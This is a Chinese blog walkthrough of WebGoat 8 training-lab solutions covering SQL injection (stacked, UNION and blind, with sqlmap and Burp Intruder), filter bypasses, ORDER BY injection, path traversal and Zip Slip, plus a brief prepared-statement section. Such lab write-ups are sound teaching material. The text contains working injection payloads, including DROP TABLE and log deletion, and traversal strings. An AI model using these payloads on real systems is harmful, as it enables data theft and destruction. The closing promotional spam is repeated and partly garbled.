WebGoat8,2024年最新2024年网络安全开发者常见面试题

题6 : 为你自己课程添加练习题。介绍了如何创建自定义课程,以及如何配置练习题,题目是需要填入样本代码中的两个参数

解: 后端样例代码中提供了答案正确与错误的两个return分支,分别是 return success 和 return failed ,返回成功的条件为secretValue.equals(param1),查找secretValue的值得到 字符串 【secr37Value】,因此参数一就是这个。参数2后端没有校验,所以留空或者随便填都可以。
在这里插入图片描述

Injection 注入

SQL Injection (intro) SQL注入(简介)

本课程描述了什么是结构化查询语言(SQL),以及如何操作它来执行开发人员最初不打算执行的任务

题2 : 什么是SQL?
尝试检索员工Bob Franco的部门

解:简单的SQL查询

select department from employees where last_name = 'Franco'

题3 : 数据操作语言(DML)
尝试将Tobi Barnett的部门改为“Sales”。

解 :

update employees set department = 'Sales' where last_name = 'Barnett'

题4: 数据定义语言(DDL)
现在尝试通过将列“phone”(varchar(20))添加到表“employees”中.

解:

alter table employees add column phone varchar(20)

题5 : 数据控制语言(DCL)
尝试将表的权限授予未经授权的用户:

解 :

grant SELECT, INSERT, UPDATE, DELETE  on grant_rights to unauthorized_user

题9: Try It! String SQL injection 字符串SQL注入

解 : 按照第六步例子输入参数即可
在这里插入图片描述

题10 : Numeric SQL injection 数字型SQL注入

解 :

SELECT \* From user_data WHERE Login_Count = 1 and userid= 1 or 1=1

题11: 获取所有员工信息。 这个和前面的也差不多

解 : 在这里插入图片描述

题12 : 利用查询链接破坏完整性
你刚刚发现托比和鲍勃似乎都比你赚得多!当然,你不能就此打住。最好去改变你自己的工资,这样你就能赚得最多!

解:

Employee Name : Smith
Authentcation TAN : 3SL99A' ; update employees set salary = 1000000 where last\_name = 'Smith

题13 : 可用性破坏
这里似乎有一个访问日志表access_log,您的所有操作都已记录到该表中!最好在别人注意到之前把它完全删除。

解: 先直接点下查询 ,可获得该表的结构,看样子应该是支持 action 字段的模糊查询。 推断查询的SQL应该类似于

select \* from access_log where action like '%"+ param +"%'

尝试输入以下参数再执行查询
3SL99A’;delete from access_log;–
没有获取想要的结果,再尝试几次其他的注入参数,都不行。 只能使用题12中的注入点

Employee Name : Smith
Authentcation TAN : 3SL99A' ; delete from access_log;--

执行成功,返回题13,再次查询,数据没有了 但是题还是没通过
只能使用删表语句了 ,回到题12 再次执行

Employee Name : Smith
Authentcation TAN : 3SL99A' ; drop table access_log;--

再次回到题13查询,题目通过。。

SQL Injection (advanced) SQL注入(高级)

题3 : Try It! Pulling data from other tables
从其他表中提取数据
6.a) Retrieve all data from the table
6.b) When you have figured it out…​. What is Dave’s password?

解: 题中介绍可以通过union或扩展新sql语句的方式实现,我们来一一尝试一下

  1. 扩展
';select \* from user_system_data --

成功,获取数据如下,同时可以得知第二题 Dave的密码为 passW0rD

You have succeeded:
USERID, USER_NAME, PASSWORD, COOKIE,
101, jsnow, passwd1, ,
102, jdoe, passwd2, ,
103, jplane, passwd3, ,
104, jeff, jeff, ,
105, dave, passW0rD, ,

  1. union
    比较两个表的结构,user_system_data表比user_data少三个字段,union要求查询字段和数据类型要相同才能连接,所以这里我们需要多写几个重复的字段代替user_system_data表中没有的字段。
' UNION select userid,user_name,user_name,user_name,user_name,password,userid from user_system_data --

You have succeeded:
USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT,
101, jsnow, jsnow, jsnow, jsnow, passwd1, 101,
102, jdoe, jdoe, jdoe, jdoe, passwd2, 102,
103, jplane, jplane, jplane, jplane, passwd3, 103,
104, jeff, jeff, jeff, jeff, jeff, 104,
105, dave, dave, dave, dave, passW0rD, 105,

拓展知识
SQL盲注 用于绕过应用程序的安全机制并获取数据库中的敏感信息。与普通的SQL注入不同的是,在盲注中,攻击者无法直接从应用程序的响应中获取数据。这意味着攻击者在执行恶意SQL查询后,无法直接看到查询结果。盲注通常发生在应用程序未正确过滤用户输入的情况下。
盲注的攻击手段基于不同的应用程序响应。有两种主要类型的盲注攻击:

  • 布尔盲注(Boolean-based Blind SQL Injection):
    在布尔盲注中,攻击者通过构造SQL查询,利用应用程序在查询返回时的真假判断来推断信息。攻击者可以根据应用程序的响应来确定是否存在漏洞以及查询结果是否为真或假。
  • 基于时间盲注(Time-based Blind SQL Injection):
    在基于时间的盲注中,攻击者通过构造SQL查询,利用应用程序在查询执行时间上的延迟来推断信息。攻击者可以通过注入一些导致延迟的代码来判断是否存在漏洞以及获取数据。

题5: SQL盲注实战题
Goal: Can you login as Tom?

解: 题中有登录和注册两个表单,首先需要确定注入点在哪里。这里我们可以用kali自带的sqlmap工具进行盲注。

  • 首先确定两个操作的请求信息,使用 burpsuit、fiddler或者浏览器的开发者工具都可以
    • bp : 选择 Proxy => HTTP history => 选中请求记录右键选择 Save Item
    • fiddler :选中请求记录,右键 save => Selected Sessions => as Text
    • Chrome : F12,选择Network,选中请求记录 =》 Save all as HAR with content (这里有个小坑,该文件保存的是当前列表所有请求的记录,并不只是选中的这一条)
  • 把保存的请求信息文件【request.txt】放入kali虚拟机,执行sqlmap指令
1. 
sqlmap -r  "request.txt"
# 这里会有个提示问题 Cookie parameter 'token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] 
# 要选择N,否则会一直提示要提供【csrf-token】和【csrf-url】参数来绕过csrf校验,这里实际上是误报,Cookie中的参数token并不是 csrf-token,所以这里选择Y的话,不管csrf-token提供什么值都无法继续。
#对两个接口都进行盲注后发现如下注入点
Parameter: username_reg (PUT)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username\_reg=33333' AND 8144=8144 AND 'IErf'='IErf&email\_reg=123@123.com&password\_reg=123&confirm\_password\_reg=123
2.
# 接下来查看数据库名称
sqlmap -r "request.txt" --current-db --no-cast
#返回
current database (equivalent to schema on HSQLDB): 'PUBLIC'
由此得知数据库名为PUBLIC
3.
# 再查库中有哪些表
sqlmap -r "request.txt"  --no-cast -D PUBLIC --tables
# 返回 
[WARNING] unable to retrieve the number of tables for database 'PUBLIC'
[ERROR] unable to retrieve the table names for any database
无法获取PUBLIC库中的表信息,只能通过另外的方法来实现了,至少我们现在知道了注入点在哪里

  • 返回WebGoat,已经知道注册表单的username为注入点,我们可以该字段进行各种输入尝试
    • 首先需要确定账户名,题目是使用Tom登录,我们使用Tom为用户名尝试进行注册,发现可以成功
	{
	 "lessonCompleted" : true,
	 "feedback" : "User Tom created, please proceed to the login page.",
	 "output" : null,
	 "assignment" : "SqlInjectionChallenge",
	 "attemptWasMade" : true
	}

直接使用刚注册的Tom登录,没有获得完成练习的提示
在这里插入图片描述
再尝试使用 tom ,发现该用户已注册。看样子实际的用户名应该是tom而不是Tom

  • 接下来我们需要获取密码字段的名称,使用该字段进行布尔型盲注
#这里我们可以猜测一下,判断用户是否已存在的sql语句大致是这样的,返回值>0则表示该用户已存在
select count(1) from PUBLIC where username = '"+username+"';
# 输入正常用户名时,是这样的。此时服务端应该返回该用户已存在
select count(1) from PUBLIC where username = 'tom';
# 注入后变成这样,如果[密码字段]猜测错误,该SQL会报错,如果猜测正确,该sql会返回0,服务端会提示注册成功
select count(1) from PUBLIC where username = 'tom' and [密码字段]='';
# 接下来就是不停的用各种常见的密码字段名来尝试了,结果很简单,密码字段就是password
select count(1) from PUBLIC where username = 'tom' and password='';
#输入
tom' and password='
#返回
{"feedback" : "User tom' and password=' created, please proceed to the login page."}

  • 接下来需要确定密码长度,也是使用布尔型盲注
# 输入 tom' and (length(password)>10)-- 等同于
select count(1) from PUBLIC where username = 'tom' and (length(password)>10) --'
# 如果密码长度大于10 则(length(password)>10)会返回true,那么整个sql返回的就是>1的,此时会提示注册失败。所以我们需要一个个的尝试不同的长度,来确定最终的长度是多少
#返回如下,说明密码长度是大于10的
{   "feedback" : "User {0} already exists please try to register with a different username." }
# 由此方法一直到 > 24 发现服务端返回了
{  "feedback" : "User tom' and (length(password)>24)-- created, please proceed to the login page.",}
# 说明密码长度为23

  • 获取密码字段名称和长度后,就可以使用Burpsuit进行爆破了 。先配置好Burpsuit的代理,
    在username输入框使用 【tom’ and substring(password,1,1)=‘1’–】发送一次注册请求。在HTTP history中选中该记录,右键发送到intruder
    在这里插入图片描述
  1. 在Intruder中切换到 Positions分页,
  • 注意从history发送到intruder后会自动对请求参数进行 urlencoder,为了不影响观察可以先把参数解一下码再复制进去
  • 点clear § 按钮去除掉自动生成的§符号
  • 把 substring(password,1,1)=1 改为 substring(password,§1§,1)=§1§ (被§括起来的值表示需要参数化,命名可以随意)
  • 上面的Attack type 使用 Cluster bomb 不同攻击模式的区别
    在这里插入图片描述
  1. 选择 Payloads分页
  • payload set : 这里显示为2,因为前面定义了两个参数化变量 所以两个参数需要分别设置参数化值;
  • payload type 2个参数都选择 simple list
  • payload options : 这里就是选择参数化的池的,参数1是截取的password的索引,一共23位密码,所以这里是1-23;参数2是密码的值,这里不知道是纯数字还是字符和数字的混合,所以我们暂且认为是小写字母+数字的混合,输入 0-9 + a-z ,在界面上也会显示 request count为 828 。 (23*(10+26))= 828
    在这里插入图片描述
  1. 点击右侧的 start attack按钮。开始自动取参数发送请求。所有请求结束后,查看每个请求的返回值,找到返回的feedback字段提示为账户已存在的。(请求数太多肉眼很难分辨,这里可以点一下length排序,把相同返回信息的请求全部分到一起)最后我们得到了一个这样的列表
    在这里插入图片描述
    结合两个参数的值,注意推断出真实的密码为 thisisasecretfortomonly
    最后使用 tom + thisisasecretfortomonly 登录。完成

题6: 几个关于 prepared statement 和 statement的区别选择题

SQL Injection (mitigation)

题5: 前面几个介绍了如何规避注入的几种方式,这里需要补全一段使用preparestatment的java查询代码

解:

 Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
 PreparedStatement pre = conn.prepareStatement("SELECT status FROM users WHERE name= ? and mail = ?");
 pre.setString(1,name);
 pre.setString(2,mail);

题6: 自己写安全的查询代码,要求 连接数据库 + 使用防注入的方式执行查询 + 至少包含一个参数

解:把题5的代码补充得完整一点就行了

 try{
      Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
      PreparedStatement pre = conn.prepareStatement("SELECT status FROM users WHERE name= ? and mail = ?");
      pre.setString(1,"name");
      pre.setString(2,"mail");
      ResultSet resultSet = pre.executeQuery();
  }catch (SQLException e){
      System.out.println(e.getStackTrace());
  }

题9 : Input validation alone is not enough!! 仅输入验证是不够的

解:该题是沿用SQL Injection (advanced) 题三 的问题,加上了输入验证。需要获取user_system_data 表的数据

# 先直接用第三题的答案试试
1';select \* from user_system_data;--
# 返回
{  "feedback" : "Using spaces is not allowed!"}
# 既然无法使用空格,可以使用 /\*\*/尝试一下
1';select/\*\*/\*/\*\*/from/\*\*/user_system_data;--
# 返回成功
# SQL 中,/\*\*/ 是注释的一种形式,可以用来注释掉一段代码或语句。在使用 /\*\*/ 代替空格时,实际上是将空格注释掉,使得 SQL 引擎在解析 SQL 语句时不会将其作为分隔符,而是将整个语句作为一个整体进行解析。这种技巧通常用于 SQL 注入攻击中,通过将空格替换为 /\*\*/,可以绕过一些简单的过滤规则,从而执行恶意代码。

题10 : input validation alone is not enough!! 仅输入验证是不够的

解:同样的题目,防护进一步升级了

# 先用上一题的答案试试
1';select/\*\*/\*/\*\*/from/\*\*/user_system_data;--
# 返回
Your query was: SELECT \* FROM user_data WHERE last_name = '1';\/\*\*\/\*\/\*\*\/\/\*\*\/USER\_SYSTEM\_DATA;--'
# 返回到上一题,看看服务端返回什么,比较下差异
Your query was: SELECT \* FROM user_data WHERE last_name = '1';select\/\*\*\/\*\/\*\*\/from\/\*\*\/user_system_data;--'
# 可以看到,这一题实际执行的SQL中,把我们输入的select和from关键字都去掉了,猜测应该是使用了 str.replace("select","")之类的函数进行了替换,这里我们可以尝试一下输入两次关键字
1';sselectelect/\*\*/\*/\*\*/ffromrom/\*\*/user_system_data;--
# 返回成功

题12: 使用order by 排序注入,给了一个可排序的数据列表,需要获取 hostname为webgoat-prd的ip
在11中介绍了 order by 子句可以使用 (CASE WHEN (TRUE) THEN lastname ELSE firstname) 来注入

解:

1.  先点一下排序按钮,获得请求信息

GET /WebGoat/SqlInjectionMitigations/servers?column=ip
# 按ip排序 返回的数据 id为 2、3、1、4
GET /WebGoat/SqlInjectionMitigations/servers?column=hostname
# 按hostname排序 返回的数据id为 3、1、4、2

2.  使用burpsuit把请求发送到repeater,把column参数的值改为任意字符串
GET /WebGoat/SqlInjectionMitigations/servers?column=sssss
# 返回了sql异常信息,从异常信息中我们可以找到查询的表名和对应的字段名称
java.sql.SQLSyntaxErrorException: 
user lacks privilege or object not found: SSSSS 
in statement [select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by sssss]\n

3. 接下来尝试一下11中介绍的方法,将column参数改为 (需要UrlEncode)
(CASE WHEN 1=1 THEN ip ELSE hostname END)  /  (CASE%20WHEN%201%3D1%20THEN%20ip%20ELSE%20hostname%20END)
# 返回数据顺序 2314,说明该参数可以识别SQL条件语句,能进行排序注入

4. 然后就可以参照前面破解登录框的方式来进行布尔型盲注,尝试编写条件语句如下
(CASE WHEN substring((select ip from servers where hostname='webgoat-prd'),1,1)='1' THEN ip ELSE hostname END)
# 发送到intruder,先urlencoder,再参考上面的方式设置pyloads,一号参数取值为 1-3(题目只需要破解IP的前三位) 二号参数取值为 0-9,一共30次请求,攻击完成后。查看请求列表,寻找返回数据顺序为2、3、1、4的请求

最后根据请求结果,推断出ip头三位为 104

Path traversal 路径遍历

题2 : 通过上传接口访问存储文件路径之外的目录

解:

# 随便上传一个图片,点update。系统返回信息 Profile has been updated, your image is available at: /home/webgoat/.webgoat-8.2.2/PathTraversal/fiskeryang/test"
# 在burpsuit里获取请求发送到repeater,查看请求信息,拉到最下方的请求参数部分,可以看到存放文件的名称就是 fullname字段的值,文件存放路径为path+fullname拼接而成
# 把参数值由 test 改为 ../test1 。发送请求。返回成功
 { "feedback" : "Congratulations. You have successfully completed the assignment."}

题3 : 目标与上题相同,

解:

# 与上题相同,先正常上传一次,然后把参数值由 test 改为 ../test1 。发送请求。
返回 "Profile has been updated, your image is available at: \\/home\\/webgoat\\/.webgoat-8.2.2\\/PathTraversal\\/fiskeryang\\/test1\\\"",
# 把 ../test1 改为 %2e%2e%2ftest1 
返回  "Profile has been updated, your image is available at: \\/home\\/webgoat\\/.webgoat-8.2.2\\/PathTraversal\\/fiskeryang\\/%2e%2e%2ftest1\\\"",
看样子并没有做 urldecode
# 再试试双写 ../test1 改为 ..././test1
返回   "feedback" : "Congratulations. You have successfully completed the assignment.",

题4: 目标与上题相同

解:

# 先正常上传一次。
返回 "Profile has been updated, your image is available at: /home/webgoat/.webgoat-8.2.2/PathTraversal/fiskeryang/qq-picture.jpg"
上传后存储的文件名变了 由fullname变为了文件原本的名字  
# 找到请求数据中记录文件名的位置 把 filename="qq-picture.jpg" 改为 filename="../qq-picture.jpg",发送请求
返回 "feedback" : "Congratulations. You have successfully completed the assignment.",

题5: Retrieving other files with a path traversal
解:

  1. 点一下按钮获取请求信息,分析请求和返回的数据,在返回的数据包中找到这个头
    Location: /PathTraversal/random-picture?id=8.jpg
  2. 把请求发送到repeater, 设置请求路径为 /WebGoat/PathTraversal/random-picture?id=8.jpg,发送
    返回404 ,但是在返回体中能看到当前目录结构以及文件列表,并且 location头的路径自动添加了个.jpg的后缀
    在这里插入图片描述
  3. 去掉请求路径中的.jpg后缀 改为 设置请求路径为 /WebGoat/PathTraversal/random-picture?id=8 发送请求
    成功返回图片数据
  4. 题中要求我们访问的文件名为 path-traversal-secret.jpg ,在上面的目录中没有,所以我们需要向其他目录寻找
    修改路径后缀为 /random-picture?id=…/ 发送请求。。 返回400 bad request 请求参数字符非法,看样子要先编码
    改为 /random-picture?id=%2e%2e%2f 返回404 但是能看到上一层目录的文件了
    在这里插入图片描述
  5. 在这一层目录仍然没有找到我们需要的文件(这里存的都是前面习题中上传的文件),那就再上一层
    /random-picture?id=%2e%2e%2f%2e%2e%2f 找到这个文件了
    在这里插入图片描述
  6. 访问一下这个文件,拿到他的内容看看 (不带后缀)
    /random-picture?id=%2e%2e%2f%2e%2e%2fpath-traversal-secret
    返回 You found it submit the SHA-512 hash of your username as answer
  7. SHA-512工具把用户名加下密.得到 519eb44afca2615199841472deeb773512f1bd5c3628113ba9427d6acdc538fd9a730de1e4f5ebbcd2b82e75386ec38cacc68db262341187b5a0c87b7ad666ea

题7: Zip Slip
这一次开发人员只允许你上传zip文件,然而他们犯了一个编程错误,上传的zip文件会被解压,但它不会覆盖你当前的头像。你能找到一种绕过编程错误覆盖当前头像的方法吗?

解:
Zip Slip是一种可以从存档中提取文件的目录遍历漏洞利用形式。目录遍历漏洞的基础是攻击者可以获取目标文件夹外的文件系统的部分访问权限。然后攻击者可以覆写可执行文件,然后远程唤醒或等待系统、用户调用,然后在受害者的设备上执行远程命令。如果覆写了配置文件或其他敏感的资源,那么该漏洞就会造成比较大的危害。
利用该漏洞的两个必要条件是:
1) 有恶意项存档文件;
2) 提取代码不会执行验证性检查。
在这里 我们并不需要上传恶意文件,只需要把我们上传的zip包中的文件存放到题目中指定的文件路径即可
题中指定的路径是这个 /home/webgoat/.webgoat-8.2.2/PathTraversal/fiskeryang
既然我们的zip文件上传后被解压了,那也肯定是要存在某个地方的,所以我们这里可以通过漏洞来指定解压后存储的路径

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

写在最后

在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。

需要完整版PDF学习资源私我

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
img

8498839)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
[外链图片转存中…(img-N2wlbHTQ-1713028498839)]

写在最后

在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。

需要完整版PDF学习资源私我

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-CuW6IEbN-1713028498839)]

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值